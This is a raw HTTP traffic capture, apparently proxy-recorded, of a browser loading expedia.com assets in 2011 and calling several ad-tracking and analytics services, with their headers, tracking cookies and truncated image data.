Set-Cookie: C2=AdHxN5pqEIxFGpgovQg3sY0rSKMCItdhKgQ3WXoCIsY4FqACw3ghKgQ7NYoCIoLOGqACKGehKgwmhXoCI8eDGqACdDmhKgwohXoCIQY4FqACYimhKgA3WaoCIoa4FqACA9qhKggdeZoCI4fFGqACbTehKgwKOaoCIoN5FqACC9qhKgwtZaoCIE0rGqACFBqhKgQTaaoCIY4dGqACNLqhKUrqEoxsG9atrSQIzaw2RGQBg2cxDYm5IaAIxOCBsRphb3I9HsfzFg+i4WQBwWEDmtCqGPBseWw7RaoGVSfBrLqRMMJUFQT2FqBruXQAzZoG0KXBbzqhak6BF8sXGqBogVwrgY8nzWdBkoqRuP67GcNNGZSkAfwuRXsDum/BEOpR8MLUHsEpGdEq+fQoeZYTfO8BgwhB1V7/HUJtGLtZpTrxKEqFI09IGjQo8iw5qYoCY6wBsMiBofAnjaA6HEv9FgeqGhQ9fZAc; domain=advertising.com; expires=Sun, 05-May-2013 22:33:36 GMT; path=/
Set-Cookie: GUID=MTMwNDcyMTIxNjsxOjE2cjRvcHExdHZsa21sOjM2NQ; domain=advertising.com; expires=Sun, 05-May-2013 22:33:36 GMT; path=/
Set-Cookie: DBC=; domain=advertising.com; expires=Thu, 01-Jan-1970 00:00:00 GMT; path=/
Cache-Control: private, max-age=3600
Expires: Fri, 06 May 2011 23:33:36 GMT
Content-Type: image/gif
Content-Length: 49

GIF89a...................!.......,...........T..;

GET /msftcookiehandler?t=1&c=EANON%3dA%253D0046022RDbVlp6eqWb6isumKV3rFQt3udP9lwzWM20Y-W-ezpQUAxtqLdZ4-soqLtpff94oc2oLJyVC06krou5v_Wa5Dr%2526E%253Db2c%2526W%253D1%7cNAP%3dV%253D1.9%2526E%253Dad2%2526C%253DTyTLJiYHPCovH3I7fPvWG8WWgxnFbQpamGFpO0Bcx8odiqKu6YYGUQ%2526W%253D1%7cMUID%3dB506C07761D7465D924574124E3C14DF HTTP/1.1
Host: m.adnxs.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: icu=ChII-sEBEAoYCiAKKAowg_iG7gQQg_iG7gQYCQ..; sess=1; uuid2=2724386019227846218; anj=Kfu=8fG10Qgj[2<?0P(*AuB-u**g1:XICajEhzW()U9M1kUGf3$2.f0R>9.acl`F4%p2Nl.UXEE*e?s.KZk)1P8:JhD>3]0OXTvN!yxE%+(uoie>W`_v8QfQ%yo5xj:Z3>gd/L60<:0H$58xf@TP8EN^Aa7.qES'cu)ziVp`aanbh'IXK_')9#*'OqB0__+7d).vaGpBe9>V?b=^3-#H@!=%>IE/HM`)s3*[`hUEAwY-atIxWZl:^crKe$Wt1spbWUvBdow<veb?3Uw`Qylwh>p+^c'w%R-eMV?4^a>]$!X9^RDTuLuZpl9=dIc4+hibOXVH]pX=n*N(IkV+>q<CtTaN9@TN[vcG0YnP[_kkdtZBM#*BPkSG*sGn'qtqEJRfmh/cT#?=zqiY3ojM*]3^))_1Y3qRhU>:L>>!Dl)nYWN]gI2[kI2tJIZ+8FY]jN]+3(Qs9TATHl_7jT6#4h1a$W8*.7q9]zqQE#xGPcCk0juhVuVnPk#`*0g?hvB@e$+*M!]Z7]Ptt.#jlw#oBt@MSlp@?XwWY[Zrh8s4X$Zn5(MSVl@QZq<pb6Inz$

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Sat, 07-May-2011 20:02:53 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=2724386019227846218; path=/; expires=Thu, 04-Aug-2011 20:02:53 GMT; domain=.adnxs.com; HttpOnly
Content-Length: 43
Content-Type: image/gif
Date: Fri, 06 May 2011 20:02:53 GMT

GIF89a.............!.......,........@..L..;

GET /media/content/expus/graphics/home/wiz/wizard_booking_image.gif?01AD=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg&01RI=929884BBD25FA5E&01NA= HTTP/1.1
Host: media.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/default.asp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: p1=`tpid=v.1,1`11; ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; U9Z5=CT-1; bn_u=UNASSIGNED

HTTP/1.1 200 OK
Content-Length: 6764
Content-Type: image/gif
Last-Modified: Tue, 29 Mar 2011 15:31:23 GMT
Accept-Ranges: bytes
ETag: "801725c26eecb1:0"
Server: Microsoft-IIS/6.0
Cache-Control: max-age=900
Date: Fri, 06 May 2011 22:34:07 GMT
Connection: close
Set-Cookie: U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; expires=Fri, 03-Jun-2011 22:34:07 GMT; path=/; domain=.expedia.com
P3P: CP="NON DSP ADM DEV PSD OUR IND STP PHY PRE NAV UNI"

.PNG
.
...IHDR.......k.....(.-P...3IDATx..] tU..>ku....v|... ....V......^.g...
b..Je..0CH@D.......H.......A.... .j.X[[..Z...>.?.w.}nN..Mn..k}.s.......g...-Kk#..&^..)]...e......r...Q.V.62c.x!...4.q..
...[SNIP]...

GET /media/content/expus/graphics/launch/home/100824_newhp_wizard_topbtm.gif?01AD=31asoEm0mc0hSRC_UQuxKylRSxdaJclQQgaMS7SoRW6V0YY2Si6IhXg&01RI=07F690EFF3E413C&01NA= HTTP/1.1
Host: media.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/default.asp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: p1=`tpid=v.1,1`11; ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; U9Z5=CT-1; bn_u=UNASSIGNED

HTTP/1.1 200 OK
Content-Length: 7260
Content-Type: image/gif
Last-Modified: Tue, 24 Aug 2010 16:01:27 GMT
Accept-Ranges: bytes
ETag: "80e5a29ba543cb1:0"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: max-age=900
Date: Fri, 06 May 2011 22:34:07 GMT
Connection: close
Set-Cookie: U9Z5=31asoEm0mc0hSRC_UQuxKylRSxdaJclQQgaMS7SoRW6V0YY2Si6IhXg; expires=Fri, 03-Jun-2011 22:34:07 GMT; path=/; domain=.expedia.com
P3P: CP="NON DSP ADM DEV PSD OUR IND STP PHY PRE NAV UNI"

GIF89a2.J....Ul~'CX$Mj.........q..............8]v$Qn...x..7Zt....8\R]f1]}.=Z......edd............IT]....Bgp.........Jn...zyzmsx......\[[ANY...Nr....VVWOo.!Ps.=c.;b.Cg.@e.@f|{|RQR...i...8`.;a....Hl.Fj.
...[SNIP]...

GET /w/tre?ad_id=18527;evt=15397;cat1=18280;cat2=18281;rand=7169916033744.81 HTTP/1.1
Host: media.fastclick.net
Proxy-Connection: keep-alive
Referer: http://fls.doubleclick.net/activityi;src=2588783;type=nausc547;cat=naush134;u=80312807C795402E93C5016D2A2A3E1B;ord=7169916033744.81?
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: vt=9556:293096:548207:53962:0:1304340350:1|; adv_ic=BwEAAAB+p75NIAYGAAFJAAC0ViAHIAsDAAAAAA==; lyc=BAAAAARv+75NACAAAWVfIASgAARbUwAAcuAKF0AAAqAsv2AvAJAgI8AAAZdVwAngBRcDz08AAA==; pluto=822523287793|v1

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:33:37 GMT
P3P: CP='NOI DSP DEVo TAIo COR PSA OUR IND NAV'
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-Type: image/gif
Content-Length: 43
Set-Cookie: lyc=BgAAAASbLb9NACAAAZBTIASgAAWXVQAAnyzgCRcFz08AADELgBcBZV+gLCAAAFsgOwAe4AoXQAACQHfEYF8BX0hADYAAAWlHgAdAAOAFFwEAAA==; domain=.fastclick.net; path=/; expires=Sun, 05-May-2013 22:33:37 GMT
Set-Cookie: pluto=822523287793|v1; domain=.fastclick.net; path=/; expires=Sun, 05-May-2013 22:33:37 GMT

GIF89a.............!.......,...........D..;

GET /b/ss/expedia1/1/G.9p2/s91449721802491?[AQB]&ndh=1&t=6/4/2011%2022%3A33%3A33%205%20300&ce=ISO-8859-1&cdp=2&pageName=Home%20Page&g=http%3A//www.expedia.com/default.asp&ch=home&server=www.expedia.com&cc=USD&c12=80312807C795402E93C5016D2A2A3E1B&v17=Home%20Page&v18=Home%20Page&v32=Home%20Page&c34=658.0%7C820.0%7C808.1%7C843.1%7C976.0%7C1055.0%7C1110.0%7C975_0&v34=658.0%7C820.0%7C808.1%7C843.1%7C976.0%7C1055.0%7C1110.0%7C975_0&c50=G.20110422&s=1920x1200&c=16&j=1.3&v=Y&k=Y&bw=1066&bh=968&p=Shockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.240.7%3BJava%28TM%29%20Platform%20SE%206%20U24%3BSilverlight%20Plug-In%3BChrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BWPI%20Detector%201.3%3BGoogle%20Update%3BDefault%20Plug-in%3B&[AQE] HTTP/1.1
Host: om.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/default.asp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: p1=`tpid=v.1,1`11; ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B

HTTP/1.1 302 Found
Date: Fri, 06 May 2011 22:33:39 GMT
Server: Omniture DC/2.0.0
Set-Cookie: s_vi=[CS]v1|26E23BA185013347-6000011540167CC6[CE]; Expires=Wed, 4 May 2016 22:33:39 GMT; Domain=.expedia.com; Path=/
Location: http://om.expedia.com/b/ss/expedia1/1/G.9p2/s91449721802491?AQB=1&pccr=true&vidn=26E23BA185013347-6000011540167CC6&&ndh=1&t=6/4/2011%2022%3A33%3A33%205%20300&ce=ISO-8859-1&cdp=2&pageName=Home%20Page&g=http%3A//www.expedia.com/default.asp&ch=home&server=www.expedia.com&cc=USD&c12=80312807C795402E93C5016D2A2A3E1B&v17=Home%20Page&v18=Home%20Page&v32=Home%20Page&c34=658.0%7C820.0%7C808.1%7C843.1%7C976.0%7C1055.0%7C1110.0%7C975_0&v34=658.0%7C820.0%7C808.1%7C843.1%7C976.0%7C1055.0%7C1110.0%7C975_0&c50=G.20110422&s=1920x1200&c=16&j=1.3&v=Y&k=Y&bw=1066&bh=968&p=Shockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.240.7%3BJava%28TM%29%20Platform%20SE%206%20U24%3BSilverlight%20Plug-In%3BChrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BWPI%20Detector%201.3%3BGoogle%20Update%3BDefault%20Plug-in%3B&AQE=1
X-C: ms-4.4.1
Expires: Thu, 05 May 2011 22:33:39 GMT
Last-Modified: Sat, 07 May 2011 22:33:39 GMT
Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA"
xserver: www170
Content-Length: 0
Content-Type: text/plain

GET /H07710/b3/0/3/noscript.gif?D=DM_EVT%3DCSM_Expedia_LP HTTP/1.1
Host: pix04.revsci.net
Proxy-Connection: keep-alive
Referer: http://fls.doubleclick.net/activityi;src=2588783;type=nausc547;cat=naush134;u=9b6b0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: NETID01=8e1e1163986432e20f9603df067356d2; NETSEGS_H10972=bff01c00ddc153c5&H10972&0&4ddd50a2&0&&4db7974a&271d956a153787d6fee9112e9c6a9326; NETSEGS_J05531=bff01c00ddc153c5&J05531&0&4de2d7db&0&&4dbcd64a&271d956a153787d6fee9112e9c6a9326; NETSEGS_G08769=bff01c00ddc153c5&G08769&0&4de391c0&0&&4dbe39cf&271d956a153787d6fee9112e9c6a9326; NETSEGS_E05516=bff01c00ddc153c5&E05516&0&4de3922b&0&&4dbcdaf4&271d956a153787d6fee9112e9c6a9326; rsiPus_cUAg="MLsXrtEupC5v4JDWbm5SF4iCa9rxq92nU/WOr6kAXZYdLpPAQvnyqW118N7oMEOiC2a+Qitt1jCSQnt7wOLuFf/9TQPsfq6IyG5KAtGyxR3fC69ZIS1PEfZ7+RJPbmgi5/Do4ttQz08XO1UZi7xW2INSPBRMu/rnPp04+54Ys4dei76PNAqSipahtYUfnrULkB+5OvuWzwKUC5dvku8yoxjK9eqMv+qsudi6yDI5p7sjklqfA/Df4499H+aU47uX/ZStvm7s0bSjla+AwzWAysWR5lO0C6CV3XcHBk4XAJoLy17PEAhkXQrA5UZbouz0UH099/lxSt54s7u/1vi/Ooc6ZsdHYnkAmIE7OjXRhH5swOnx+Qe7TQNTY5avAup317qWXxpxHGJHaYXIBQgZDvVvP1/FdYHpe4ELzEm01fLjZ3NRUu3RLcxJe/LWkVmHz79Zn9KKPtd8TZxCCYd1SF0BsJd/w4RxAXd8u6LUBqIMTYJLRCFBZYAqfyg3pMk+tHsbPBAY+t4e0y5XfrgZeOS5LS0raNTRDvmgWWyrK/P3YcYuQx+1XxK1YTDnTUoMKeILlN/WyNsBDbEYkH1exWL76rR83Bi3+v2FqFxztf6n5/2gdRHjcEt9bVnJ4z3dKF3kglsKfCM6oHY8rFN7qcjUzF9dx5DdQ3yk9RA="; rsi_us_1000000="pUMdIz9HMAYU1O2uQ7bkS/GtHFajpUjRHJppcTQ/E+fDv3TBS3u3eKtw/qV68iFxwFHQSUXJh/TEDlqK5ymryWN1lLpjgHRFDSYttD59YZFrXOXgP3z1GpnIeFgtFDR1F1h1DvPJ6jGxiMDbAnxQhvYqAwMe3iYLqU5GS2b8LfrTbx7uRJOZcXZTF1nqAhc9j1XANGppgAkqLrW5J/DkaoiGFOnArblFlMxnIUs81A34N/6VKULJ5NXcgY4g9jLOtCz0A2zRfBV0tB6nig79jyxsPK/BtufPnOuytnDMGwwiEdVEfx6xS+gdhVS/YoP8gws4gSC0AJdMoSjsujh74M9+Fuy742S9LEO0odVcgP8nwKkbsPsv3MIMTgRwUByQS0+3PTu18ZNX15PFr3nkMs5yPDt2381kVtM3tUsb7UTaDxWlFawllYsd+K30dHBKmeOvEyOfWttKqC8T1WwfifCTg5OqGJEWYbTZJKrVqzIxoqCSdeInRhO8LVs1qCHv/xxr5klEDkmKfHvF3yACOKWqmWc99TGbMUwf1jXvnMacDDEIRle75AsgC1t0n9TOjQlEvQUGZUlrBNuwrAyA8WHgji5OTrwi6ZAOSH/kv/L1brD7LtY7KfEaHdjvNdTzvoBUQMG4UTO6tV8OPsAUbmXYKs6T9V0kUdHDxS5IPWKMbw64OOcJPQgyRxyqJsiuBp3dvkWmsDV+KduhariE+vHGWgkxjV3chDQ3HlznmZrWkDHUMxVsE5mlY8EEUQt0ADLtrW3uR1r4wH3z3ZIdpJAGNmiIVyRr2c2b7jtBhTZxAAlNf7l7f35RlM2r3iTLGaF16IS79K9XrMEkuBHsy/k9wS+yaRUPCDErkqNr9YH2bA5/m2lDsmX2vxXhzSVPIsZH46KEZTqbjaFkaMVUv/ITp08VtIAQ1Yvu8ZknO30xfvR4vAy1AWEvvRf2fTQTa86Cxadw7P5qlBPGbbc96CWkKYIaCHYlvv56SO55p0Bo3OSWyjxverGSQYL67FQcst0Y+Jf/kIY+hq/65Cw5pVhi+rOWA5T/otP69RNqpLBD3wut5wpUIOU3A3cz+Fww/cmAfldRXnDpjDHyOUTv16cufUECTFP4HtE7b0vSWonFxeUXUs0PotTR+7l6VjT1pd6km8G3O6Jy+CinadIyS1ZkYM7x6spOGE5UiyQvx8Zs2WjO/p+duPiDfcEZGtR+HUDufru+EUMxg4w6AcWPnyFQbFw5FZSvULDb31fy7NREGAnb8nazQEJ7uSv7XT8wDJIORNgj0zbeAPjKWAlyPP3oRqS3CgRk7KsmlGuzBtB/H49kpYMT"; NETSEGS_G07608=bff01c00ddc153c5&G07608&0&4de3df00&0&&4dbe409f&271d956a153787d6fee9112e9c6a9326; NETSEGS_B08725=bff01c00ddc153c5&B08725&0&4de3dfb9&0&&4dbd04bb&271d956a153787d6fee9112e9c6a9326; NETSEGS_F07607=bff01c00ddc153c5&F07607&0&4de3dffd&6&10124,10098,10078,10053,10100,10143&4dbe0e23&271d956a153787d6fee9112e9c6a9326; NETSEGS_K08784=bff01c00ddc153c5&K08784&0&4de3fb79&0&&4dbe5453&271d956a153787d6fee9112e9c6a9326; NETSEGS_K05539=bff01c00ddc153c5&K05539&0&4de3fbf4&1&10592&4dbcb06d&271d956a153787d6fee9112e9c6a9326; NETSEGS_K05540=bff01c00ddc153c5&K05540&0&4de595d8&10&10572,10573,10342,10343,10391,10395,10432,10537,10538,10166&4dbfac5c&271d956a153787d6fee9112e9c6a9326; rsi_segs_1000000=pUPF5EmBcXIQDrv8foMIxLwGjA3X27dOgaUluVNj9D506TXNtsL/yGow6EcUZB40BVxKu31EHezwrjztfPhfywGDnxOlPZh6OFobM/TJ/44BF3NGS7lkeUnkF3cOik+7vGWPnuMBy2aWvt8iTQxsOn1taZJdrR7gMIwDVr3u5ZG1BGnU1OEEyJobiVQxAfdIgY8NTDGQ9inwZmN6hYCBNWfttdeEB5dOfWGPO9lT3XjCU4wKvLp+pWmZ37Snoi3OQaH49LcYCduGsqPdjwJsxuFVmBKRFVneI0eWJ0CtUqnwQC5FNpEUESh/hAcaXN1ul74P/7JN1bKFfNPKJr8+Qi0bABaK1ks6X3TBL0H+mCMcQFy/cNknchZvrLkvREM43Ay9kS2roQGAv3hKPR/GkKs4E3oxTX885agAkWW1VV+YOmkbY6zG8TDQnbmOuBNKzgMK8Jf6B779+FmOch7bkeAbg/Nkx9gb29IyA/19J9hXx9V3XvSpoX027/hqY/YvCA6NnLh8w6TFdQ==; rtc_WcYd=MLsXtzE1JhpnJ5HL3vy4noCEnCpKIFSIvojUnXJXjAPTw+wWY7y4JWrLsWOW0pLnHqged2X1aG4UUDn9Sek+jWM8P1olTartZdTxgq4brSjtMRLmv63at5KmReuQqY5QDIJXFnjMUw1S6PRlodfSKqqb549UmkRkjTS4D7LGgrhCL3lL5sZRNA+0k1B3YjoeaeaOl3QWNZ2a7mA3OgkBUNPumfPRDwbrh//vRruydeGes5LgcdE1mHzNbyGKVucdIsKbpRfqsrunYbeWzxOrvYl+JoYbGAl5hFOkyqe/Ll6/+N11WueF4sV7DgZCPfDYYbacKsM9DRFLsZtmLc+0rYcryVOomm7rJiwG4w26IrIRlkjgSGRZAiWRwQU9wIg1FIEZhJmvWaMHPl8dCwW/tj9Ps2XzN2EmkeA62/n1vdDz1ecGFVDJtnJyhQc2mLlrsS4li8KDipPiD0S3WzWXXQzN9igS8uFhhnxf2qqZVs20Blh7sbphtzyddDrjO5Jnc9bvqtayg9y/jXxGwcHr7hfMfCdMtli6EJLspKye7WsZz1GCdxuwBOO31Qpxlw8Y17stUYR0v0Hqq02A58AayAhLJBVnnxcH+Jqi2+3mWnYNm+3ywiXLxtdbQ75QX0RrcTWSmggv8B6eFRmOZYMUrVkwZiFtUB1nGGJZH3iwDWK3ln3rmyWUSJYaWVs+G3/KfBTBH3q3otOcVRlKrpiVd4OKl7D3o6o6HKBUO3wTOMZ8QkCta8DrRLJyw1g6WZG5tL/CesBKfPj1fOaT2TmAqkShqRa4aVuVJ+/p+aADjwtQ2/sVt+lYlYONpoeA6ewHD7G6ojL5gt4ljNIEBu7naRBKd6pbNVjGWrq9+q+GbeONKjg1NYXQR+zBkuqE3sdUFe7v2pXPavI8sooFafMIX7bfS/4glvvxSPQYjGmeQUIlGv6ycJlA+lhens349f2FzSDPsdZpiayxm0eCynxOP1PfR4ZkeqU+m9yD30+QiCwIkQuOuisaWndLK6pbIeUg2OrfdzBTs1APAA05GGjeLMPl6jc1jwIfaeAHqN7a/sSmy5jwHya3KYtMlmydCdA4FjOMTNFm/HVKd1dgCSb2c5fsYMhc9nE9TJFq+FEp13f7mm2KArOCk/OB7aS9k2HQXoIckXFQXtbtTMhVz2KejL4/FFQ7XAReGk+GdP+mn3ciXr7rjqWTyoYP+ZIlkjuBUI8dd/NU1bPYkcO3+/ZvOvmJnz6BKLf83Dmj6668cLLwC4yklr47tG4CCDGYGLMg/pzlhdDHouFcWKWxGi3RhS3LWSYMjSK2wNK24oAHuoR2EvMIFn3vi5cAmSvoEeQwxD29VVdpnB2IW6lbK50Ucm8o/g4QL1JYTd1hkwojD0PZvNBRTxbxP1832LgaQbffnd88uLkbFvQZPJBY/7Js23zW2Tb+79fSEO/e5DSjKAJf101JlAmCyTjoTzeb32SdjGmQ; NETSEGS_H07710=bff01c00ddc153c5&H07710&0&4de96140&0&&4dc3b759&271d956a153787d6fee9112e9c6a9326; udm_0=MLvv9S8pLipr557J8SLcZtVsmYkpAEXfo4IXeAwquSQJS8LV1VT8e1Zf6ZL0ipL7+Kv8z8r9D7fsUFw2wl//IozSp/8YSn4NoHt7l4lq67B2aoTPJY8n/+xt25rkTM9DypP80PyOiYjfBswa/pIttQtABtvQCQc7lE2X5pTLFZly4Ho5X9JogRIv1r4DXxDUgTm31I6TxvuOcKmC/jYW5QMM3ruvTFdWWnnYKoLzU3RqHt1B+4whuE8KiYvSu8fekjRlh6End7IYoakFzgGNwXmFrORt0i1PnlcgwYHAVmdPZXPwfj5PC8fpo6ePf9KPHjtwKnWToMgc1VOatjJzghlFb3uJy+CLp/aBgvIyCGSTh51tY1Rvo4CkU9g/q/BgAxiXtL0sZoKDGnOR57czbWPW2snLVyHjK8qHn9sPGC4471fRIsWCpDXisem0f73E/ZYqkXVnZ4eygMLCHxTcBqIFjqQ0lsGEWtcVVk6WNz4l/Mewn91yb5z3TrGC94Ds0PI7lNEQ/zX+w65QliR9XUWQCR8ZJ0KoPYLJ9vKECY7qypI6JWsG/I/UnSODO2U2xhEoKpLlUINw4H3LIXL7g6gXRfai+Kt4E8gxorg1GKtpOngk4XZcT/94VjxqfHAdrOWtgThQIScl4PM9S4OeVp/AqIwVnD6+9/f77+K5aAauldE+R8qVL3mLN9jE87ZIwkWFl/denYCiK7nCJMMh1mWgtylCdkQLhvem5lL4df6OLCQDdqc2pKs/GXndlZ3eSYBP0hxu1BnT5DxxhgDCxWfzaPkEL58Qj+an9Z2aEd3idnm9kJYYUNJXJ7k1eWZB8XIaWBu+Og4PPbxN05GLrobjeAUr3OiEIqdhdgihq0P409GFU13gTUwlVlsfcu1/EYFLl0DER7k8wuY7faIt3xwOz+kc7xzOK8j7xSKy7XkKoBrIez+xK8rK00qfWaMiid3qLFhWrV7Z0YRVD5Tck40LehukJyUqz+nbRS+1uvi7svDbyhjMyqPcCeWYkKKYfULldUIH1bm8Pcz4+/tvOMe7uidWEFgdWhJeXvxXPLSHRZrYtO9j8Cnaw+R2Jc/MYSEsxo3ftJNSE1AGqd9z1IsgiJ9z5QHadxQxwsqAEgg6YrnJl7ALbsXv8caoArA7zp4fZgZtJCtxWzgclo/7zoUxCFNN/D3OGdAuyZRM4XrAxVRNGqCYmJ96huN4wxe1DAwK7D5sZ6NhmnsBvsQtpyPchz5bXwM1e1FZ05RNiXv3wbRaF4aMDm+j2wVHWV6B43cndwQ8fv7QzGvQMJpqcAx4rw==

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: rtc_WcYd=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=pUP15EOBcHIQDruItIkIwgjhpoCTQaTKiADcRKhp6L+d8ae0BpWezGpQqMxb5Phhf8mSWMe2tYJkR83B4NeQC4d/o4Fl+E72rCm7A7YBO6ftfvrPJfiYJ+ShCzwF/amIXGbRUoRnqXOW3lUEf9oWp00D4ufEdDS3O8iku4/dxQUSWMjjmY7WPDe882v/8LA8rQQ5zpZF91tsrjsfWXOQUGPFMyHOg4E7BTNelfbxFM1CMBzLynlkdI5n9LWQtRIw5I3lYqhxPZaFV0VL8e2E6B+uMXsKYGVXpLZ2TM9tok1UZLWoJEmHw6QYo3TS25txI8/j94tKvl2UJU6El+Fs3kQv+ZUtfXV1goUmFLKDzLTzRYe0T9FTr9aeuc+C9CG/daR/1O7H5uWKCpQqsxpik+9/OkvzMbVGZVb2T/Md/KcMIwRDJIn+VjuZYTl6zXeuUmyyQWtajfizPy489T2pqXM4zZy6UEZCvGosm2wbYsBPa1wKIjcZg2fhTVqaE7UtNVake9g=; Domain=.revsci.net; Expires=Sat, 05-May-2012 22:35:21 GMT; Path=/
Set-Cookie: NETSEGS_H10972=bff01c00ddc153c5&H10972&0&4de961a9&0&&4dc36aa3&271d956a153787d6fee9112e9c6a9326; Domain=.revsci.net; Expires=Fri, 03-Jun-2011 22:35:21 GMT; Path=/
Set-Cookie: rtc_hdKs=MLsXtzE1ZxpnJ5GrHvmWF/CWgLZrYKUib5slCPedGNAwVTi74gkGr2Ipj4EWp+/DHqged2X1aG4UUDn9Sek+jWM8P1olTaq7ej6Dk/7O6T/gImgqfhS/fa8kwEqZhMLA7rr5dbctvj4KRqaT3jlzVpIPTLPOZlpRsFQnGcNcik0Vr/9ChiL9/dR+6TNbTGzp54iTMx9i7IA/M6syQEezQPwO4YUSLj2DbGhi/4Jolbl+6ZOTVx+W8cslzKfYsFHmuoyeGBwbsd1bTAxTphe1k40xYV92B45jmgrgB6/H89z6SRhp1GeG4kWKDw5CPfa7A/4WQDYPDQFTsZ2ttxQJ/rnIA9pRw4LfgHHRwLlNBUloulnJRNF8kdhJjEPkWfTqi1zPbesQx1fqJXeZJtyPKOqtZNI9V035IwXrvoyuFZQdQAXadNNCH9RWSxqd6nTdSu5kXKxz8xb0tYwx0LYb5txuGgmTHdyh5ie9d7thoIb/MJtZeGMLDzEOb5TkibpUjhNrG7OFF96RGpt6tIJUFbcNraCnAT46IQyNapge/OP42wmo1ckMPxlqP05nnC68WzHeGJh9k5C3WXvZpirNOd0DPxV/g/fG+5qiuL2keoExgq6g1lguUz59bg/95Hp9C9+xAs+noKPRebSc49l4l4C4tq2+eeO8HyiVB+lgSAXFESqLDcwX9oqqKLYjjqsBoHx8SrQgsDgIMV+i/N5Bdi0Ua4hBlSKh17HuEasBYtI+CzD01Uhdk/bZkXxOO/SdEn9af62gKRR4Ah33CN7MTu3l/iOkdKeYI3szmc9Yd9ozmo1pzFdrQQkKyZJeSXqZpO3p+s5n8djXqBRpmUB8YZR0VKraNlnG2tQkzx//zv339tnJCBbXR+pBEmq8L5la7a/4YaD4szeS8uTzJX0qOIEuU+AA0J3FaCkrKjdYFIAaylldJlPjIy/Q8MgnXvF7B6CosPAzzo/+2DM5jv2yh0LM3jnGkQO/A2SXqahqoAG37uql4CWsmFmZgE1furniCrruzAXaEy5s0AKznPjllNVwv1mofZOCc+h6kQCduxK+7RPxbgOHm4lLlkOV/cCKhs+1T6l+wECUFBllnwyRZ5h9E3S7JFv8gy00JNu++Qmff4WRDZCc439hxefv8hAm0PG+oWPh3uD9BFWY9mIYSZ9/3OkCQru9DqyUhOSSuBVAmpXh/c7tlYTxiToRXS8LcruHYtO+mKfZxxTs+llGpQ32PiOD6FseycwIpd2XeFPbLkYwnV45QMN+GQNS1DnslVWGvwSo+L7BVvVJjhq2qvVk0cVKwB